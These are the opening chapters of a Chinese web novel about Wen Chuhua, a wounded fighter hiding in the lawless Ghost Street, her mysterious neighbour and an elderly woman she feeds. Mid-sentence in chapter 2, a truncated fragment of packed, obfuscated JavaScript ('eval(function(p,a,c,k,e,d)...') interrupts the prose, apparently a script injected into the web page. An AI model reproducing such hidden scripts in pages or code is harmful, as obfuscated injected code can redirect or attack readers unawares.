《被流放后,邻居天天看我打架》 1. 我的高冷邻居 温初花是被饿醒的。 不是普通饿,是胃里像被人攥住了拧的那种饿。 她躺在床上盯着天花板看了半分钟,天花板上有一道从墙角裂到灯座的水渍,形状像个歪歪扭扭的问号,好像在问她:你怎么还活着? 她怎么还活着?她自己也不太清楚。 前胸的刀口还在发痒,痒得她想把整块皮揭下来。 她伸手隔着纱布挠了两下,骂了句脏话,然后撑着床沿坐起来。 窗外天已经大亮了,日光从没拉严实的窗帘缝里挤进来,照在水泥地面上,把屋里那些破烂照得无处遁形——一张行军床,一个歪了一条腿的衣柜,墙角堆着几袋没扔的垃圾。桌上有个搪瓷缸子,底上还留着昨天泡面的残渣。 温初花走过去把缸子端起来看了看,又放下了。没吃的。厨房水槽里泡着个碗,碗里长了一层绿毛。 她弯腰拧开水龙头,先灌了两口自来水,冰得她太阳穴一抽一抽地疼。灌完了她抹了把嘴,翻遍所有口袋掏出皱巴巴的几块钱,数了数,够买俩包子。要是买个馒头能多买一个,但她现在这个身体状况,她觉得她值得吃个带馅的。 就这么定了。 她套上那件洗得发白的旧外套,拉链头掉了,她用别针别着领口。裤子膝盖上磨得发亮,鞋底也快磨平了。 她对着衣柜上那块缺了角的镜子照了照,脸瘦了一圈,颧骨顶出来,眼下青黑一片,看着像个刚从墓里爬出来的。 “行吧,”她对着镜子说,“活着就行。” 下楼的时候她扶着墙走的,不是矫情,是腿真软。 这栋楼也不知道是几百年前建的,楼梯扶手锈得跟脆骨似的,轻轻一碰就往下掉渣。楼道里堆着各家的破烂——缺了腿的椅子,废纸壳子垒成山,还有一辆不知道死了多久的自行车,车座子裂了口,墙上小广告一层摞一层。 温初花走到二楼拐角的时候停了停,喘了口气。 这身体虚得够呛,搁以前她能一口气上八楼不带歇的,现在下个三楼跟长征似的。她靠在墙上,后脑勺抵着冰凉的水泥,闭了闭眼。 耳边能听到一楼有人在放收音机,唱的是那种软绵绵的老歌,滋啦滋啦的杂音比歌声还大。 也不知道这种老古董有什么好玩的。 温初花心里嗤笑一声。她来这儿是为活命,有些人倒好,为了什么狗屁爱好跑来这种地方受罪。搞不懂。 缓过来了。她直起身继续往下走。 一楼楼道口的光线比上面亮,门洞像个口,外面是灰扑扑的水泥路和行道树,树上落了一层灰,叶子半死不活地耷拉着。 她正要迈出去,余光扫到门洞两侧站着两个人。 不是普通的路人。 这两人站的位置太讲究了,一边一个,把出口卡死了。左边那个矮壮,脖子和脑袋差不多粗,双手插在袖子里,看着像在晒太阳,但眼神一直往楼道里扫。右边那个瘦高,歪着头抽烟,烟叼在嘴角,一明一暗的火光在他脸上跳。 温初花站住了。 三个台阶的距离,她居高临下看着这两人,心里那根弦一下子就绷起来了。 这群人是属狗的,闻着味儿就来了。她以为这半个月的消停意味着什么,现在看来什么都不意味——她不露面就罢了,一露面就像块掉进水里的肉,一圈一圈的涟漪告诉水底下的鲨鱼:她在这儿呢。 矮壮先动了。袖口里滑出一把□□,刃口磨得发白。他往楼道里迈了一步,仰头看她,嘴角扯了一下。 “温初花?” “你妈我在这儿呢,”温初花说,“儿子就这么想你妈?来孝敬老娘了?” 矮壮没恼,偏头和瘦高对了下眼神。瘦高把烟弹掉,从背后摸出一把菜刀,就是肉铺剁骨头那种,刀背上还带着没擦干净的油。 温初花认识这种刀,也认识这种人。能下决心来鬼街的,都不是卖命这么简单——进来了就出不去,就算杀了她,他们也得在这烂掉。 楼道里一下安静了。 一楼那户人家的收音机还在响,滋啦滋啦的戏曲显得极为凄凉。窗外有只猫叫了一声,又没声了。 温初花扯开外套拉链,别针崩飞了,弹在墙上叮的一声。她咬着纱布一头,右手抓住刀疤旁边的皮肤一扯,整条纱布从腰上卸下来。 刀口结痂了,暗红色的痂像条蜈蚣趴在肋下,旁边青紫一片。 她低头扫了一眼,把纱布团了团塞进裤兜。 矮壮先上了。 他冲上来脚步沉得很,踩得楼梯嘭嘭响,刮刀从下往上撩,直奔她小腹。 温初花没退,往左拧腰,刀尖擦着外套衣摆过去,布料割开一道口子。 她右手抓住矮壮的手腕,小臂青筋暴起,往外一翻。矮壮脸扭曲了,刮刀从他手里滑落,当啷掉在地上。 但她现在的力气不够了。搁半个月前这一下能把对方腕骨拧脱臼,现在只是让他疼得松了手。 矮壮另一只手抡过来,拳头砸在她肩膀上,她整个人往墙上一撞,后脑勺磕在砖墙上,眼前黑了一瞬。 瘦高趁空档挤进楼道,菜刀从上往下劈,没什么章法,但力气大得吓人。 温初花蹲下去,刀砍在她头顶上方的墙上,砍下一大块墙皮,石灰粉末扑了她一头一脸。她闭着眼从矮壮腿间穿过去,顺手捡起掉在地上的刮刀,滚到楼道另一侧。 睁开眼满脸是灰。她啐了一口唾沫,白的。 “我□□爸。” 矮壮和瘦高已经逼过来了,楼道窄,三个人挤在里面转身都费劲。 温初花背靠着一楼那户人家的防盗门,铁门冰凉,硌着她的腰。她左手握着刮刀,右手摸到身后的门把手,一拧,咯噔一声,门松了——没开,但门把手转动的行程给了她一个支点。 矮壮又冲上来了,这次学聪明了,没再用刀,直接扑上来想拿体重压住她。 温初花右胳膊架住他的脖子,左手那把刀就没往别的地方去,直接捅进他的大腿侧面。 不是要害,但疼。 □□的伤口合不拢,血顺着刀槽往外涌,顺着裤腿往下淌。 矮壮惨叫了一声,在楼道里来回撞。 拔刀的时候带出一股血,溅在她脸上,温热的。 她把矮壮往外一推,矮壮撞在对面墙上,留下一道血手印,顺着墙往下滑,坐在楼梯上,裤腿红了一片。 瘦高在旁边犹豫了一瞬,就一瞬。温初花要的就是这一瞬。 她没给瘦高反应的时间,踩着楼梯扶手的横杠翻了上去,一脚蹬在瘦高的胸口。 这一脚她用了全力,蹬得自己大腿根都在抖。瘦高连退好几步,菜刀挥了个空,砍在铁栏杆上,擦出一串火星子。 她跟上去,刮刀转了个方向,刀尖朝下,用刀柄砸在瘦高的太阳穴上。 一下,两下,三下。 瘦高的眼珠子往上翻,身体像摊泥往下出溜,菜刀从手里脱落,在地上弹了一声脆响。 温初花靠在墙上大口大口地喘气,胸腔像被人踩住了,刀口的地方疼得她直冒冷汗,肋骨下面湿了一片,不知道是血还是汗。 她低头看了看,痂裂了一道小口子,渗出来的血还没浸透衣服,不算大事。 矮壮还坐在楼梯上,捂着自己的腿,脸上的表情已经从疼痛变成了恐惧。 他看着温初花的眼神变了,像看一个不该招惹的东西。 瘦高躺在地上不动了,但还在喘气,胸口一起一伏的。 温初花把刮刀上的血在他衣服上蹭了蹭,弯腰捡起那把菜刀,掂了掂分量,又扔了。 她抹了把脸上的血,往门洞外面看了一眼,日头已经升起来了,街道上没什么人,远处有个男人拎着菜篮子慢慢走,不知道这边发生了什么。 心里狠狠咒骂一声,这衣服又要洗了,鬼街的天气总是阴阴的,难得穿个干爽的衣服。 就在这时,温初花注意到楼梯上面有一道门开着——是她家正对着那户。 门内站着一个男人,目光投 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他就这么看着,动也不动。 温初花仰头看他,嘴张了张,又咽回去了。这人说不定是个傻子。 她觉得有点好笑,但没笑出来。弯腰捡起别针重新别好领口,往楼上走了两步,停住了。这会儿虚脱的感觉退下去一些了。 “哎,”她隔着几级楼梯喊了一声,声音在楼道里撞出回音,“好歹是邻居,也不出来帮个忙。” 男的低头看了她一眼。 就一眼。 隔着楼梯,隔着血腥味和石灰粉末,那双眼睛像两块没温度的石头。 然后他把目光收回去了。 温初花以为他要开口了,起码“嗯”一声吧。 没有。 他把手从裤兜里抽出来,开始下楼。步子不快不慢,鞋底踩在水泥上,声音轻得几乎听不见。从三楼到二楼,经过矮壮身边,矮壮抬着血糊的脸看他,他没低头。从二楼到一楼,跨过瘦高伸出来的腿,瘦高的手指在地上抽搐,他也像没看见。 穿过这群瘫在地上的人,他推开了单元门。铁门吱呀一声开了,外面的光照进来,影子拉得很长,投在墙上、地上、溅了血的地方。 他出去了。门没关,晃晃悠悠弹回来,闷响了一声。 温初花站在原地,手里还攥着刮刀,指节上沾着别人的血。她透过门上的玻璃看他的背影越走越远,灰色外套在灰扑扑的街道上几乎要融进去。 楼道里安静了好一阵。 “操,”温初花对着空气骂了一声,“这人聋的吧。” 她低头看了眼脚边的瘦高,踢了踢他的鞋尖,没反应。她又踢了一下,这次重了点,瘦高的手指微微蜷了蜷。 还活着。 温初花蹲下来,抓着瘦高的头发把脑袋拎起来,拍了拍他的脸。“喂,问你个事。藤州那边最近有什么动静?有什么大人物要来,还是出了什么事?” 瘦高眼皮翻了翻,嘴角扯了一下,没吭声。 她又看向矮壮。矮壮捂着大腿,血从指缝里往外渗,脸色白得像纸。他对上温初花的目光,嘴唇哆嗦了两下,也没说话。 不是不想说,是不知道。这种跑腿的喽啰,能知道什么? 温初花撇了撇嘴,松开手,瘦高的脑袋磕在地上,闷响了一声。 她举起刀,给了这两人一个痛快。 单元门又啪嗒响了一声,风从外面灌进来,带着路边早点摊的味道——油条、豆浆、炸得焦黄的麻团。胃猛地抽了一下,提醒她下楼本来是干嘛的。 她把刮刀别在后腰,用外套下摆盖住,拍了拍手上的灰,走出门洞。阳光打在脸上,她眯了眯眼,脑子里盘算着等会把那两具尸体拖到哪埋了。 “管他呢,”温初花朝早点摊的方向走去,“先吃饱了再说。” 身后楼道里,收音机还在响,铁门在风里一下一下地拍着门框。 2. 请我吃饭的男人 早点摊摆在鬼街东边那条岔路口,一根歪脖电线杆子底下搭了个塑料棚,四面透风。 老板是个五十来岁的胖女人,围裙上全是油点子,手上的活儿一刻不停——左手翻着油锅里的油条,右手往塑料袋里装豆浆,嘴里还要跟熟客骂骂咧咧地聊天。 锅里的油黑得发亮,不知道用了多少天,但在鬼街这地方,没人计较这个。 温初花走到摊子前面的时候,先把脸上那点血迹在袖子上蹭了蹭,确保看着不像刚从杀人现场出来的。 她往塑料凳上一坐,凳子腿有个是坏的,她差点翻过去,骂了一声,换了条凳子。 “两根油条,一碗甜浆。”她说。 老板看了她一眼:“你脸咋了?” “蚊子咬的。” “蚊子能咬出这色儿?”老板嘴上说着,手里已经夹了两根油条搁在碟子里推过来。 老板很心里清楚发生了啥,毕竟这地方这种事可太多了,自己以前不也是过得这种日子? 油条炸得老,颜色深,咬一口硬邦邦的,但温初花不在乎。 她一口咬掉半根,嚼得腮帮子疼,胃里终于有了点东西垫底,那种被人攥着拧的感觉慢慢松开了。 豆浆端上来,碗是那种磕了边的粗瓷碗,面上漂着一层奶皮似的东西。 她端起来吹了两口,吸溜了一大口,烫得她呲牙咧嘴,但还是硬咽下去了。 两条油条一个眨眼就没了。 她又喊了一碗咸浆,加虾皮加紫菜加油条碎,老板骂她事多,但还是照做了。 等这碗也见了底,她才算真正活过来了。 然后她余光扫到一个人。 早点摊最靠里的那张桌子上,坐着一个男的,面前一碗白粥,一根油条掰成两截搁在碟子里,旁边还放了个搪瓷碟,碟子里是两块腐乳,红油汪汪的。 他吃东西的样子不急不慢的,油条掰一小块,在豆浆里泡一泡,送进嘴里,嚼完了才伸手去拿下一块。 这不是刚才那位邻居吗? 温初花端着豆浆碗,伸长脖子又看了一眼。 没错,就是那个眼镜,就是那件深灰色的薄外套,就是那种跟周围一切隔着一层东西的气质。 他坐在塑料棚最暗的角落里,背后就是那根歪脖电线杆,电线杆上贴满了小广告,他靠在那儿,像一幅贴错了地方的画。 她心想,巧了。 然后她又想,什么巧了,鬼街就这么大,卖早点的地方就这一家半,遇上太正常了。 但这人给她的感觉不太对,说不上哪里不对,就是那种——你在一个全是泥鳅的地方看到一条鲶鱼,你说不上来它哪里不一样,但你一眼就知道它不是泥鳅。 她喝完最后一口豆浆,抹了抹嘴,端着碗站起来,直接走到那张桌子前面,一屁股坐下了。 对面的男人抬起眼皮看了她一眼。 近处看,这人比她刚才在楼道里仰头看到的更清楚。 脸确实白,但不是那种病态的白,是那种没什么日头晒的白。 手指又长又细,指甲修得整整齐齐,端碗的姿势像是端惯了某种比碗更精致的东西。 她脑子里蹦出一个词:小白脸。又觉得不太准确,这人不是那种柔弱的小白脸,他说不定比看起来经揍,但皮相确实是这副斯文败类的样子。 “又见面了。”温初花说。 他没接话,继续吃他的油条。 温初花也不在乎,她这人最不怕的就是冷场。 她把胳膊肘撑在桌上,托着腮帮子,上上下下打量了他一遍,那目光不加掩饰,像在菜市场挑西瓜,拍拍这个弹弹那个。 “我说,你这条命,”她开口了,语气跟聊今天天气不错似的,“整天跟谁都不来往,你不闷得慌?” 对面的人把油条咽下去了,端起豆浆碗,嘴唇碰了碰碗沿,没喝,又放下了。“跟你有关?”他说。 声音不大,低沉,但清楚。像石头掉进深水里,闷闷地沉下去了,没有回音。 温初花乐了,乐得露出一口白牙。 不是笑他,是觉得有意思。 这人说话的方式跟她完全不一样,她说话像炒豆子,噼里啪啦带响的,这人说话像数豆子,一颗是一颗,不多不少。 “跟我没关系,”她说,“我这不是关心邻居嘛。你说你一个大男人,整天窝在那个小屋里,也不出门,也不跟人来往,你这是过的什么日子?” 她顿了顿,把椅子往前挪了半寸,塑料椅子腿在地上拖出一声刺耳的响。 “你说你这么斯文一人,怎么来鬼街这种地方?藤州那么多帮派,看得上你的应该不少,难道没有一个能罩得住你?” 她说这话的时候心里想的是另一回事。 她在想这人的能力到底是什么。这人一来藤州就直接到了鬼街,或许都没有测过能力吧?作为异人,有谁不想知道自己的能力是什么? 在外面被人当异类,被排挤,来了藤州,她就是抱着要成为人上人的想法打拼的。幸好自己能力也强,可惜自己太强了,得罪人也太多了,只好灰溜溜躲到鬼街。 在鬼街这个地方,她又回到了以前的日子,没了异能,她只能靠拳头,靠刀,靠自己的力气和本能。 算了,活着就行。 而眼前这人,看着文质彬彬的,要是能力是个花架子,说不定躲到鬼街来也不错。 但直觉告诉她,这人不像是个花架子。 对面吃油条的动作停了一瞬。 筷子搁在碗沿上,他抬起头来,那双眼睛终于正正经经地看了她一次。 不是之前那种扫一眼就走的看,是真真切切地看着她的脸,好像要从她脸上的纹路里读出什么东西来。 温初花被他看得有点发毛,但她这人天生不会回避对视,反而把下巴一抬,眼睛瞪回去,那架势好像在说:看什么看,老娘脸上又没长花。 他收回目光的时候,嘴角动了一下。 不是笑,就是那种——你看到一只野猫蹲在墙头冲你呲牙,你觉得有点意思,但犯不着跟它一般见识——的那种表情。 “那你呢?”他说。 温初花一愣:“我什么?” “你又为什么要来鬼街?” 这话问得轻描淡写的,但温初花觉得这人问话的方式跟他整个人一样,表面看着平,底下藏着东西。 她大大咧咧地把手一摊:“得罪人了呗,被人追杀,躲进来保命的。你以为我想来这破地方?外面有大世界,我在外面吃香的喝辣的,我神经病啊我跑这儿来?” 她说的是实话,但不全是实话。 得罪人是真的,被人追杀是真的,但为什么得罪人,被谁追杀,这些她没打算说。不是不能说,是不想说给自己都没摸清楚底的人听。 对面的男人端起碗喝了口豆浆,慢慢地咽下去,然后说了一句让温初花差点把嘴里的油条喷出来的话。 “得罪了人?不见得吧。以你的实力,想要你的帮派可不少。” 温初花嘴里的油条嚼了一半卡在那儿了。 她那副吊儿郎当的样子有一瞬间没收住,裂开了一道缝,缝里透出来的东西跟她脸上那种街头混子的表情不太一样,更沉,更冷,像锅底的火被风吹了一下,露出了底下的炭。 就一瞬间。 她把油条咽下去了,那条缝又合上了,浑不在意的笑脸重新糊上去。 “你怎么知道我实力什么样?”她说,语气还是那种吊儿郎当的调调,“咱俩又没打过,你这是拿眼睛掂量我呢?” 对面的人没回答这个问题。 他掰了最后一小块油条,在豆浆里泡了泡,送进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那目光从上往下,经过她别了别针的外套领口,经过她膝盖磨得发亮的裤子,经过她那双快磨平的鞋底,最后又回到她脸上。 “行,”他说。 就一个字。 然后他真走了。 转身,迈步,跟他来的速度一样,不快不慢,灰色的外套下摆被风吹起来一下,又落下了。 温初花追了两步,跟在他旁边走。 街上人不多,几个买菜的老头老太太从他们身边经过,都侧着身子多看了两眼——这个满身血迹的女人跟在一个衣冠楚楚的男人旁边,怎么看都不搭。 “我说真的啊,”她一边走一边说,“这顿饭我记下了。要是哪天有人找你麻烦,你跟我说一声,我帮你解决。就当我报答你请我吃饭了。我这个人说话算话,你别不信。” 那个人没看她,继续往前走。 他的视线落在前方某个不确定的点上,好像这条街、旁边的人、周围的一切都不在他眼里。 温初花又说:“你别不说话啊,你起码告诉我你叫什么吧?我叫温初花,你叫什么?” 他上了楼,顺着那个咯吱咯吱响的楼梯一步一步往上走,始终没有回头。 温初花站在楼梯口,仰头看着他的背影消失在二楼的拐角处。 楼上传来一扇门打开又关上的声音,然后整个楼道又陷入了那种老楼特有的寂静。 塑料袋被风吹着贴在她的鞋面上,窸窸窣窣地响。 她低头看了看自己那件血渍还隐隐约约露在外面的外套,又看了看楼上那扇已经关上了的门,嘴里嘀咕了一句。 “不说拉倒,大不了我给你赐个名字。” 3. 难以看透的温小白 温初花先回了趟屋,把那件沾血的外套脱下来团了团塞进床底,换了件干净点的——也没多干净,就是血迹少些罢了。 她对着镜子看了一眼,脸上还有几道没擦干净的血印子,拿袖子蹭了蹭,蹭不掉,算了。 身上没钱,得先去搞点钱。 她翻遍了整个屋子,最后在衣柜底下找到几个钢镚,又在行军床的夹缝里摸出一张皱巴巴的纸币,凑在一起勉强够买两份盒饭的。 她把钱揣好,出了门。 楼道里的血迹还没干,从一楼楼梯口一直拖到单元门口,在昏黄的灯光下看着像一条暗红色的蛇。 矮壮和瘦高那两具尸体她刚才已经处理了——说是处理,其实就是拖到后面那条没人走的巷子里,拿几张破席子盖上了。 鬼街这地方,死个人不算稀奇,隔三差五就有尸体出现在某个角落,会有人专门收的。 至于是拿去做什么,温初花不想知道,也不在乎。 她跨过那滩已经开始发黑的血,出了单元门,往右拐,走了大概五分钟,到了一家小饭馆门口。 饭馆连个招牌都没有,就门框上贴了张红纸,上面用毛笔写了俩字:陈记。 红纸褪色褪得差不多了,远远看着像块白纸。门口摆着两张折叠桌,塑料凳子东倒西歪,地上全是烟头和瓜子壳。 老板姓陈,四十来岁,胖,围裙勒在肚子上像捆了条麻绳。 这会儿还没到饭点,店里没人,他正坐在门口的凳子上抽烟,烟雾从鼻孔里喷出来,慢悠悠地往上飘。 看到温初花走过来,他把烟掐了,站起来,什么也没说,转身进了厨房。 温初花也没客气,拉了条凳子坐下,胳膊肘撑在桌上,手掌托着腮帮子。她闭了闭眼,刚才打斗时绷紧的那股劲儿彻底松下来了,浑身上下像散了架似的,刀口的地方又开始一阵一阵地疼。 不到两分钟,陈老板端着一个托盘出来了。 托盘上搁着两个保温饭盒,一盒菜一盒饭,菜是红烧肉炖土豆,油汪汪的,肉块大得把土豆都盖住了。旁边还有一碗汤,紫菜蛋花汤,紫菜放得多,蛋花也放得多。 “给沈婆婆的。”陈老板说,把托盘搁在桌上,又从围裙兜里掏出一双一次性筷子,啪地掰开,插在饭盒旁边。 温初花看了一眼菜色,点了点头:“陈哥,你这手艺是越来越好了,沈婆婆要是知道你给她炖了红烧肉,得念叨你好几天。” 陈老板没接这个话,又从兜里掏出一个小塑料袋,里面是两个肉包子,还冒着热气,皮儿白得发亮,底下垫了张油纸。 他把塑料袋往温初花面前推了推,下巴一抬,意思是让她吃。 温初花看了一眼包子,没动。 “吃过了。”她说。 陈老板皱眉:“你吃个屁,你这脸色跟鬼似的,多久没正经吃饭了?” “真吃过了,”温初花站起来,端起托盘,“早点摊上吃的,油条豆浆,管饱。” 她说这话的时候没看陈老板的眼睛,因为她自己知道这话说出去没几个人信。但她也确实没撒谎——她是吃过了,只不过那顿是抢别人的钱付的账,而且吃完到现在,肚子里那点东西早就消化得差不多了。 那几个钢镚她没打算花,那是留着万一有什么急事用的。 至于为什么不在陈老板这儿吃,原因简单:这人不会收她钱。 她刚来鬼街那会儿,人生地不熟,身上一分钱没有,饿了两天,蹲在这条巷子的墙角根底下,差点以为自己要交代在这儿了。是陈老板端了一碗面出来,搁在她面前,说了一句话:“吃完了帮我把那筐土豆削了。” 那一筐土豆她削了两个小时,削得手指头都肿了。但那是她在鬼街吃的第一顿热乎饭,她记到现在。 后来她帮陈老板平过几次事——这地方小混混多,隔三差五就来收保护费,陈老板这种没入帮派的商户就是他们眼中的肥羊。温初花来了之后,那些小混混再来的时候,她就蹲在门口,拿把刮刀剔指甲,什么话也不说,那些人自己就绕道走了。 从那以后,陈老板再也不收她钱。 不止她,沈婆婆的饭菜也是免费的,顿顿都是店里最好的菜色,从来不重样。 温初花觉得自己欠他的越来越多,所以能不在他这儿吃就不在他这儿吃。 她这人别的毛病一堆,但有一条——她不喜欢白占人便宜。 今天这顿早点她抢了那个邻居的钱,那是因为她觉得那人看着就不差这点,而且她开口的时候心里是想了的:这顿饭算她借的,以后有机会还。至于怎么还,她还没想好,但总归是有办法的。 陈老板看着她端起托盘要走,也没拦,只是在她背后说了一句:“你那脸色真不对劲,有事别硬撑。” “知道了知道了,”温初花头也没回,“你这人怎么跟个老妈子似的。” 她端着托盘上了楼。 沈婆婆住在五楼,比温初花高两层。 这栋楼一共就六层,没有电梯,楼梯又窄又陡,每一级的台阶都被踩得中间凹下去一块。温初花端着托盘爬楼梯,爬得小心翼翼,怕把汤洒了。 红烧肉的油汤要是洒在楼梯上,她可不想再擦一遍——光那一滩血她就擦了半天,到现在手上还有血腥味。 爬到五楼的时候她喘得跟风箱似的,刀口的地方又渗出血来了,但她没管。 她用膝盖顶住托盘,腾出一只手来敲了敲门。 “沈婆婆,是我。” 门很快就开了,好像老人就等在门后面似的。 沈婆婆今年六十七了,在这栋楼里住了快二十年,是鬼街为数不多的“原住民”——不是被追杀逃进来的,也不是来体验什么古代生活的,就是当年鬼街还只是个没人要的破地方的时候就住在这儿了,后来鬼街成了法外之地,她也懒得搬,就这么一直住着。 甚至温初花怀疑沈婆婆或许根本就是个普通人。 她腿脚不好,风湿,膝盖肿得像两个馒头,走路要拄拐棍,下楼基本不可能。 温初花搬来的第一天就注意到这个老人了——不是因为她多显眼,恰恰相反,是因为她太安静了,安静得让人心里发慌。 一个腿脚不好的老人,住在这种没有人管的地方。温初花当时就想,这他爸的是个什么事儿。 她也不是什么圣人,没想过要照顾谁一辈子。 但那天她在楼下碰到沈婆婆拄着拐棍慢慢地、一步一步地挪去买菜,一个来回走了快两个小时,她实在看不下去了。 从那以后,沈婆婆的饭菜她就包了——也不全是她包,大部分时候是陈老板做好了,她负责送。 “今天陈哥做的红烧肉,您趁热吃。”温初花端着托盘进了屋,把饭盒一个个摆在桌上,筷子摆好,汤碗搁在顺手的位置。 沈婆婆的屋子跟她那间差不多大,但收拾得比她干净多了。 地上扫得一根头发丝都没有,桌上铺了一块洗得发白的蓝布,上面摆着一个搪瓷杯子,杯子里泡着茶,茶水已经凉了。墙上挂着一幅画,不是什么名画,就是一张印刷的山水画,用个旧镜框镶着,镜框的角缺了一块,但擦得很亮。 温初花每次都忍不住多看那幅画两眼。 她说不上来为什么,就是觉得这画挂在这间屋子里,跟周围的破旧不太搭,但又说不上来哪里不搭——好像这间屋子本来应该是配不上这幅画的,但沈婆婆把它擦得那么干净,又好像这幅画配不上这间屋子的干净。 说不上来。 沈婆婆坐在桌边,慢慢地打开饭盒盖子。 红烧肉的香味一下子散开了,整间屋子都是肉香。她用筷子夹了一块肉,放进嘴里嚼了嚼,点了点头,又夹了一块。 温初花坐在对面,看着她吃,嘴角不自觉地翘了一下。她自己饿得胃都快抽筋了,但看着老人吃得香,她觉得还行,能忍。 “你今天跟人打架了?”沈婆婆忽然开口了,筷子没停,眼睛也没看她,语气平淡得像在说今天天气不错。 温初花一愣,下意识低头看了看自己的衣服。她换了外套,脸上那几道血印子也拿袖子蹭过了,按理说看不出什么来。但沈婆婆这个老太太邪门得很,有些事情你根本瞒不住她,她就像那种老式的收音机,你以为关了,其实她一直在收着信号。 “哦,楼下来了两个人,不长眼的,”温初花说,“解决了一下。” “受伤了?” “没有,就两个小喽啰,还不够我热身呢。” 沈婆婆放下了筷子,看了她一眼。不是那种打量,就是很平静地看了看她的脸,然后又把筷子拿起来了。“你肋下的伤还没好全,别逞能。” 温初花张了张嘴,想问她怎么知道的,但话到嘴边又咽回去了。这个老太太身上有好些事情是她想不通的,她问过几次,沈婆婆都不接话,后来她就不问了。 每个人都有不想说的事,就像她自己也有不想跟任何人说的过去,她觉得这很正常。 “对了,”温初花忽然想起一件事,“沈婆婆,您知道咱们楼里新搬来一户吗?三楼那个,门口干干净净的那个。” 沈婆婆吃饭的动作停了一下,很短暂,短暂到温初花差点没注意到。 “知道,”沈婆婆说,“搬来没多久。” “我今天跟那两人打架的时候,他就站门 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“初花,”她忽然叫了温初花的名字,声音不大,但语气跟平时不一样,沉了一些,“你刚才说的那个人……不一般。” 温初花愣了一下:“什么意思?” “连我也看不透。”沈婆婆说这句话的时候看着桌上那碗汤,好像在汤里面找什么东西。 温初花以为自己的耳朵出问题了。沈婆婆看不透一个人?这个老太太平时没什么存在感,但温初花早就觉察出来了,她不是什么普通的老太太。具体哪里不普通,温初花说不上来,但有些事情——比如自己能在这个破地方活下来,比如那些来收保护费的小混混后来再也不来了,比如那些追杀她的人好像总是在快到的时候被什么东西绊住了——这些事,她总觉得跟面前这个老太太有关系。 她从来没问过,因为有些东西问清楚了反而不好。但她心里是有数的。 现在这个老太太说,她看不透那个新来的邻居。 “沈婆婆,您说看不透是什么意思?那人是练家子的?还是有什么来头?” 沈婆婆没有直接回答。她重新拿起筷子,把饭盒里最后一块红烧肉夹起来,慢慢地嚼着,嚼了很久。温初花等得都快不耐烦了,她才终于咽下去,端起茶杯喝了一口凉茶。 “二十年来,”沈婆婆说,“我看不透的人,你是第二个。” 温初花眨了眨眼。她不太确定自己是应该高兴还是不应该高兴。 沈婆婆的视线从茶杯上移开,落在温初花脸上,那双浑浊的老眼里头有一种说不清道不明的东西。 屋子里忽然安静了。 楼下的收音机不知道谁家又在放,还是那种软绵绵的老歌,隔着几层楼板传上来,声音闷得像在水底下。风从窗户缝里钻进来,那幅山水画的镜框轻轻晃了晃,缺了角的地方在墙壁上投下一小块奇怪的影子。 “那,第一个是谁?” 沈婆婆没有回答。她端起饭盒,把里面剩下的汤汁倒在米饭上,拌了拌,一口一口地吃完。动作不急不慢的,像是在等什么,又像是在拖什么。 温初花等了半天,确定她不会回答了。 “行吧,”温初花站起来,收拾桌上的碗筷,“您不说就不说,反正我也没多想知道。” 她把饭盒摞在一起,汤碗扣在最上面,端起来的时候汤碗滑了一下,她手忙脚乱地接住了,差点没把汤洒一地。沈婆婆看了她一眼,嘴角动了一下,不知道是笑还是叹气。 “明天想吃什么?我跟陈哥说。” “随便。” “那我就让陈哥做您最拿手的了,陈哥上次说他会做糖醋排骨,我一直想让他露一手来着。” 温初花端着碗筷走到门口,回头看了一眼沈婆婆。老人还坐在桌边,手里端着那杯凉茶,没有要送她的意思。夕阳从窗户照进来,落在她的侧脸上,把她花白的头发镀上了一层金色。 那幅画又在墙上晃了一下。 温初花把到嘴边的那句“您以前是做什么的”又咽了回去,换成了:“我先走了,您早点休息,别老坐那儿喝茶,凉了对胃不好。” 她端着碗筷下了楼。走到家门口的时候,她不自觉地放慢了脚步。 对面那个人的门关着,安安静静的,像没有人住一样。门上什么都没有,没有春联,没有福字,甚至连个门牌号都没贴。她盯着那扇门看了两秒钟,脑子里忽然冒出沈婆婆的那句话——连我也看不透。 “温小白,”她对着那扇紧闭的门嘀咕了一声,“你到底是个什么东西?” 没有人回答她。 4. 老周的铁匠铺 温初花回到屋里,先把那摞碗筷搁在桌上,然后蹲下来从床底下拖出一个小木箱。 木箱是她自己钉的,歪歪扭扭,关不严实,用一根铁丝箍着。她把铁丝拧开,掀开盖子,里面乱七八糟地堆着一些东西——几卷纱布,半瓶碘伏,一把生锈的老虎钳,还有她用布包着的那把匕首。 匕首不大,巴掌长,刀身窄而薄,刃口磨得发亮。最特别的是刀柄——做成了一根细长的扁铁,可以卡在手腕内侧,用小臂的肌肉夹住,手掌张开的时候刀尖从指缝间探出来,握拳的时候就收进去。这东西是她在一场打斗中捡来的,不知道原来的主人是谁,但她用着很顺手,藏在袖子里谁也发现不了。 可惜刀尖崩了一个口子,上次捅人的时候砸在骨头上,崩得缺了一小块。刃也钝了,剌肉都剌不利索。 她用手指摸了摸那个缺口,骂了一声。 今天那两个人来得太快了。她养伤的这半个月一直安安静静的,没人来找麻烦,她以为风头过去了,现在看来根本不是那么回事。那些人像秃鹫一样在天上盘旋,就等着她露出破绽。 武器不修不行了。下一拨来的不会只是两个喽啰。 她把匕首重新包好,塞进袖子里,出了门。 从她住的这条街往东走,穿过一条堆满垃圾的巷子,再过一个十字路口,就到了老周的铁匠铺。这条路她闭着眼睛都能走,来来回回走了不下二十趟了。 鬼街的路面全是坑,一下雨就成池塘。今天没下雨,但地上湿漉漉的,不知道是哪家的下水道又堵了,脏水漫了一地。她踩着砖头跳过去,鞋底还是湿了,凉丝丝的,袜子贴在脚底板上,难受得很。 还没走到巷口,她就看到了那片浓雾。 鬼街的入口是一道破旧的拱门,上面原本有块匾,字早就看不清了,只剩下“鬼街”两个字的轮廓,远远看着像是用血写上去的。拱门外面是一片翻涌的白雾,厚得跟城墙一样,人走进去三步之外就看不到自己的手。 那雾不是普通的雾。温初花刚到鬼街的时候试过,站在雾里,浑身上下像被无数根针扎着,骨头缝里都在往外冒寒气。那是鬼街的结界,既是一道墙,也是一把锁。 雾里有什么,没人说得清楚,也没人想去弄清楚。 此刻那片浓雾正在翻涌,像被什么东西搅动了似的。 温初花眯着眼看了一会儿,看到一个模糊的身影从雾里跌了出来。 